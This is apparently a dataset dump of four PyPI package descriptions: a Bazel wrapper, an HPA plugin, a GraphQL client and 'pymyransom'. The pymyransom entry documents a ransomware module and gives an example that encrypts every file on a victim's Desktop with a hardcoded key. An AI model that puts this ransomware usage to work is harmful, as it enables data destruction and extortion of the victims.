semvec/pypi-packages huggingface dataset:
baz 0.2.6
A wrapper for the Bazel build system that provides a curses GUI for persistent configuration.
Requires Python: >=3.5

# Baz
A wrapper for bazel with a GUI for configuring arguments. Running `baz -q` opens a configuration gui where you can set persistent bazel settings by choosing from detected `.bazelrc` configs, and other bazel flags.

![image](https://i.imgur.com/g0eoEIt.png)

Baz stores persistent information in `~/.config/baz/`. A unique config for each directory is generated and separate settings can be configured for multiple repositories. You can delete your configuration and start over at any time with `baz -d`.

Add baz to your path and use baz as you would use bazel.

## Installation
### Pypi
```
python3 -m pip install baz --user
```
If you haven't already, make sure scripts from your user site are accesible from PATH.
```
import site
site.USER_BASE # Prints something like `/home/username/.local/`
```
Take this path, and add to your `~/.bashrc` as: `export PATH='$PATH:/home/username/.local/bin/`

## Usage
baz --help
```
usage: baz.py [-h] [-e] [-p] [-q] [-d]

optional arguments:
  -h, --help            show this help message and exit
  -e, --emit-build-script
                        Emit a shell script to containing the raw Bazel build command, rather than executing it. This is useful for exporting vanilla Bazel build commands to people who do not have baz.
  -p, --print-build-settings
                        Prints the build settings configured for Baz.
  -q, --configure       Run the Baz configuration TUI.
  -d, --delete-configuration
                        Permenently delete the persistent configuration file.
```
## Testing
Unit tests can be run with `nosetests`.
onaphpadriver 1.0
HPA discovery package for stevedore

# 1. compile hpa plugin
cd hpa
python setup.py compile

# 2. install hpa plugin
cd hpa
python setup.py install

# 3. test hpa plugin
cd hpa/test
# 3.1 test cloud extra info with dpdk
python test.py -f "dpdk"
# 3.2 test without cloud extra info
python test.py -t "windriver"
python test.py -t "starlingx"
python test.py -t "pike"
py-gql-next 0.0.2
A simple python GraphQL client
Requires Python: >=3.6

# python-graphql
Python client of GraphGL.This package mainly uses `requests` to build the http/https requests.

### Install
```bash
pip install py-gql-next
```
### Usage: 
(example of gitlab graphql api)
```python
from pygql import Client

gitlab = Client(url="https://www.gitlab.com/api/graphql")

query = {
    "query": """
    {
        currentUser {
            name
        }
    }"""
}

print(gitlab.execute(query))
```
Result
```json
{
    "data": {
        "currentUser": None
    }
}
```
TODO:
- [ ] async support
- [x] add tests
pymyransom 0.4.6
A Module for Ransomware
Requires Python: >=3.5
Keywords: pymyransom

# Pymyransom

## New in v0.4.1
Updated description

## Before Introducing

PYMYRANSOM **ONLY** CAN BE USED FOR EDUCATIONAL PURPOSE!!!

## What is Pymyransom?

Pymyransom is inspired by https://github.com/marcosValle/RansPy/blob/master/enc.py, I changed this code for making Ransomwares.

## How to install Pymyransom?

To install pymyransom, please type 
```pip install pymyransom```.

## How to use Pymyransom?

### makeMyRansomware

Usage : ransomware_name = makeMyRansomware(your_extension, key, username, passFile)\
\
your_extension = ".Example" : Encryption Extension\
key = b'keyfor16bytes123' : Binary key for encryption\
username=getpass.getuser() : PC's username\
passFile=None : Pass a specific file

### Encryptor

Usage : ransomware_name.Encryptor(startPath)\
startPath : Path to encrypt

### Decryptor

Usage : ransomware_name.Decryptor(startPath)\
\
startPath : Path to decrypt

### Encrypt_Some_Ext

Usage : ransomware_name.Encrypt_Some_Ext(startPath)

Encrypts only extensions in extlist.\
\
startPath : Path to encrypt some extensions\
extlist=[".txt", ".mp3"] : Extensions for encryption

### Decrypt_Some_Ext

Usage : ransomware_name.Decrypt_Some_Ext(startPath)

Decrypts only extensions in extlist.\
\
startPath : Path to encrypt some extensions\
extlist=[".txt", ".mp3"] : Extensions for encryption

### Example Code

```python
import pymyransom
Victim = pymyransom.makeMyRansomware(your_extension=".Example")
startpath = 'c:\\Users\\'+Victim.username+'\\Desktop\\**' #Used glob to encrypt all files
Victim.Encryptor(startpath)
```

## Special Thanks
https://github.com/marcosValle/, https://github.com/kevin5871/, And you!